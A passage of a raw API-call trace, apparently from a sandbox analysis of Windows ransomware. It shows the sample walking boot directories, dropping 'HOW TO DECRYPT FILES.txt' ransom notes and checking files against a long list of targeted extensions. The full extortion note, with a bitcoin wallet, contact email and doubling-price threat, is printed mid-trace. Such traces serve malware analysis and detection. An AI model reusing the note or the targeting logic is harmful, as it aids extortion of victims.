lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909c029a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x909c029a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0124.940] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.940] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="boot.sdi") returned 1 [0124.940] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="boot.sdi") returned 1 [0124.940] lstrcmpiA (lpString1="", lpString2="boot.sdi") returned -1 [0124.940] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\BCD") returned="BCD" [0124.941] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\PCAT\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\") returned="C:\\Windows\\Boot\\DVD\\PCAT\\" [0124.941] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\") returned="" [0124.941] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" [0124.941] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\how to decrypt files.txt")) returned 0xffffffff [0124.941] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.941] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.941] CloseHandle (hObject=0xffffffff) returned 0 [0124.941] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="boot.sdi" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\boot.sdi") returned="C:\\Windows\\Boot\\DVD\\PCAT\\boot.sdi" [0124.941] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\boot.sdi", pszSpec="*.ems") returned 0 [0124.942] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.942] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0124.942] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0124.942] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\boot.sdi") returned="boot.sdi" [0124.942] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="en-US" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\en-US") returned="C:\\Windows\\Boot\\DVD\\PCAT\\en-US" [0124.942] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0124.942] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.942] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0124.942] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.943] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.943] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa70238, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootfix.bin", cAlternateFileName="")) returned 1 [0124.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.943] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootfix.bin") returned 1 [0124.943] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootfix.bin") returned 1 [0124.943] lstrcmpiA (lpString1="", lpString2="bootfix.bin") returned -1 [0124.943] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\*.*") returned="*.*" [0124.943] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\") returned="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\" [0124.943] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\") returned="" [0124.943] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\HOW TO DECRYPT FILES.txt" [0124.943] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0124.943] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.943] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0124.943] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.943] CloseHandle (hObject=0xffffffff) returned 0 [0124.944] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\", lpString2="bootfix.bin" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin") returned="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin" [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.ems") returned 0 [0124.944] lstrlenA (lpString="*.ems") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.db") returned 0 [0124.944] lstrlenA (lpString="*.db") returned 4 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.dbf") returned 0 [0124.944] lstrlenA (lpString="*.dbf") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.myox") returned 0 [0124.944] lstrlenA (lpString="*.myox") returned 6 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.myo") returned 0 [0124.944] lstrlenA (lpString="*.myo") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qbw") returned 0 [0124.944] lstrlenA (lpString="*.qbw") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qbb") returned 0 [0124.944] lstrlenA (lpString="*.qbb") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qbm") returned 0 [0124.944] lstrlenA (lpString="*.qbm") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qbo") returned 0 [0124.944] lstrlenA (lpString="*.qbo") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qbx") returned 0 [0124.944] lstrlenA (lpString="*.qbx") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qba") returned 0 [0124.944] lstrlenA (lpString="*.qba") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qby") returned 0 [0124.944] lstrlenA (lpString="*.qby") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qbj") returned 0 [0124.944] lstrlenA (lpString="*.qbj") returned 5 [0124.944] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.ofx") returned 0 [0124.944] lstrlenA (lpString="*.ofx") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.qif") returned 0 [0124.945] lstrlenA (lpString="*.qif") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mye") returned 0 [0124.945] lstrlenA (lpString="*.mye") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mbox") returned 0 [0124.945] lstrlenA (lpString="*.mbox") returned 6 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.eml") returned 0 [0124.945] lstrlenA (lpString="*.eml") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.pst") returned 0 [0124.945] lstrlenA (lpString="*.pst") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.ost") returned 0 [0124.945] lstrlenA (lpString="*.ost") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.idx") returned 0 [0124.945] lstrlenA (lpString="*.idx") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.dbx") returned 0 [0124.945] lstrlenA (lpString="*.dbx") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.sql") returned 0 [0124.945] lstrlenA (lpString="*.sql") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mdb") returned 0 [0124.945] lstrlenA (lpString="*.mdb") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.fdb") returned 0 [0124.945] lstrlenA (lpString="*.fdb") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.wab") returned 0 [0124.945] lstrlenA (lpString="*.wab") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.dat") returned 0 [0124.945] lstrlenA (lpString="*.dat") returned 5 [0124.945] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.txt") returned 0 [0124.946] lstrlenA (lpString="*.txt") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.jpeg") returned 0 [0124.946] lstrlenA (lpString="*.jpeg") returned 6 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.jpg") returned 0 [0124.946] lstrlenA (lpString="*.jpg") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.png") returned 0 [0124.946] lstrlenA (lpString="*.png") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.php") returned 0 [0124.946] lstrlenA (lpString="*.php") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.cs") returned 0 [0124.946] lstrlenA (lpString="*.cs") returned 4 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.cpp") returned 0 [0124.946] lstrlenA (lpString="*.cpp") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.rar") returned 0 [0124.946] lstrlenA (lpString="*.rar") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.zip") returned 0 [0124.946] lstrlenA (lpString="*.zip") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.html") returned 0 [0124.946] lstrlenA (lpString="*.html") returned 6 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.htm") returned 0 [0124.946] lstrlenA (lpString="*.htm") returned 5 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.xlsx") returned 0 [0124.946] lstrlenA (lpString="*.xlsx") returned 6 [0124.946] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.xls") returned 0 [0124.947] lstrlenA (lpString="*.xls") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mp4") returned 0 [0124.947] lstrlenA (lpString="*.mp4") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.ppt") returned 0 [0124.947] lstrlenA (lpString="*.ppt") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.pptx") returned 0 [0124.947] lstrlenA (lpString="*.pptx") returned 6 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.doc") returned 0 [0124.947] lstrlenA (lpString="*.doc") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.dot") returned 0 [0124.947] lstrlenA (lpString="*.dot") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.docx") returned 0 [0124.947] lstrlenA (lpString="*.docx") returned 6 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.7z") returned 0 [0124.947] lstrlenA (lpString="*.7z") returned 4 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.tar") returned 0 [0124.947] lstrlenA (lpString="*.tar") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.bz2") returned 0 [0124.947] lstrlenA (lpString="*.bz2") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.gz") returned 0 [0124.947] lstrlenA (lpString="*.gz") returned 4 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mkv") returned 0 [0124.947] lstrlenA (lpString="*.mkv") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.eml") returned 0 [0124.947] lstrlenA (lpString="*.eml") returned 5 [0124.947] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.msg") returned 0 [0124.948] lstrlenA (lpString="*.msg") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.edb") returned 0 [0124.948] lstrlenA (lpString="*.edb") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.accdb") returned 0 [0124.948] lstrlenA (lpString="*.accdb") returned 7 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.odb") returned 0 [0124.948] lstrlenA (lpString="*.odb") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.java") returned 0 [0124.948] lstrlenA (lpString="*.java") returned 6 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.asm") returned 0 [0124.948] lstrlenA (lpString="*.asm") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.pfx") returned 0 [0124.948] lstrlenA (lpString="*.pfx") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.pem") returned 0 [0124.948] lstrlenA (lpString="*.pem") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.p12") returned 0 [0124.948] lstrlenA (lpString="*.p12") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.gpg") returned 0 [0124.948] lstrlenA (lpString="*.gpg") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.vsd") returned 0 [0124.948] lstrlenA (lpString="*.vsd") returned 5 [0124.948] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.odg") returned 0 [0124.948] lstrlenA (lpString="*.odg") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.raw") returned 0 [0124.949] lstrlenA (lpString="*.raw") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.nef") returned 0 [0124.949] lstrlenA (lpString="*.nef") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.svg") returned 0 [0124.949] lstrlenA (lpString="*.svg") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.psd") returned 0 [0124.949] lstrlenA (lpString="*.psd") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.vmx") returned 0 [0124.949] lstrlenA (lpString="*.vmx") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.vmdk") returned 0 [0124.949] lstrlenA (lpString="*.vmdk") returned 6 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.vdi") returned 0 [0124.949] lstrlenA (lpString="*.vdi") returned 5 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.lay6") returned 0 [0124.949] lstrlenA (lpString="*.lay6") returned 6 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mpeg") returned 0 [0124.949] lstrlenA (lpString="*.mpeg") returned 6 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.djvu") returned 0 [0124.949] lstrlenA (lpString="*.djvu") returned 6 [0124.949] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.tiff") returned 0 [0124.950] lstrlenA (lpString="*.tiff") returned 6 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.backup") returned 0 [0124.950] lstrlenA (lpString="*.backup") returned 8 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.pdf") returned 0 [0124.950] lstrlenA (lpString="*.pdf") returned 5 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.cert") returned 0 [0124.950] lstrlenA (lpString="*.cert") returned 6 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.docm") returned 0 [0124.950] lstrlenA (lpString="*.docm") returned 6 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.xlsm") returned 0 [0124.950] lstrlenA (lpString="*.xlsm") returned 6 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.dwg") returned 0 [0124.950] lstrlenA (lpString="*.dwg") returned 5 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.nd") returned 0 [0124.950] lstrlenA (lpString="*.nd") returned 4 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.tlg") returned 0 [0124.950] lstrlenA (lpString="*.tlg") returned 5 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.lgb") returned 0 [0124.950] lstrlenA (lpString="*.lgb") returned 5 [0124.950] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mov") returned 0 [0124.951] lstrlenA (lpString="*.mov") returned 5 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.xdw") returned 0 [0124.951] lstrlenA (lpString="*.xdw") returned 5 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.ods") returned 0 [0124.951] lstrlenA (lpString="*.ods") returned 5 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.wav") returned 0 [0124.951] lstrlenA (lpString="*.wav") returned 5 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.mp3") returned 0 [0124.951] lstrlenA (lpString="*.mp3") returned 5 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.aiff") returned 0 [0124.951] lstrlenA (lpString="*.aiff") returned 6 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.flac") returned 0 [0124.951] lstrlenA (lpString="*.flac") returned 6 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.m4a") returned 0 [0124.951] lstrlenA (lpString="*.m4a") returned 5 [0124.951] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin", pszSpec="*.csv") returned 0 [0124.951] lstrlenA (lpString="*.csv") returned 5 [0124.951] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa70238, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootfix.bin", cAlternateFileName="")) returned 0 [0124.951] FindClose (in: 